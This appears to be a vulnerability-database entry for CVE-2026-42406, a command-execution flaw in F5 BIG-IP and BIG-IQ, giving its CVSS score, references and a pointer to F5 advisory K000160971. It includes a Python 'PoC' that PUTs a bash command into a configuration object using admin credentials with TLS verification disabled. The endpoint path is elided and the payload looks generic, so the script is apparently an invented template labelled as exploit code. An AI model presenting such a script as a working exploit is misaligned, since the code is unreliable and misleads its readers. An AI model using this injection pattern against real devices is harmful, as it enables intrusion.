CVE-2026-42406

Description

A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Certificate Manager role can modify configuration objects that allow running arbitrary commands. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score

8.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

具体受影响版本请参考F5官方安全公告K000160971

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Example)
target_url = "https://<target-ip>/mgmt/tm/.../vulnerable-object"

# Authentication credentials (High privilege required)
auth = ('admin', 'password')

# Payload to inject arbitrary commands via configuration modification
payload = {
    "name": "exploit_config",
    "command": "/bin/bash -c 'id > /tmp/poc.txt'" # Example command
}

headers = {
    'Content-Type': 'application/json'
}

# Send request to modify configuration
response = requests.put(target_url, json=payload, auth=auth, headers=headers, verify=False)

if response.status_code == 200:
    print("Configuration modified successfully. Check for command execution.")
else:
    print(f"Failed: {response.status_code}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42406
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42406
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42406/
[4] VulDB https://vuldb.com/cve/CVE-2026-42406
[5] https://my.f5.com/manage/s/article/K000160971

Raw JSON Data

JSON

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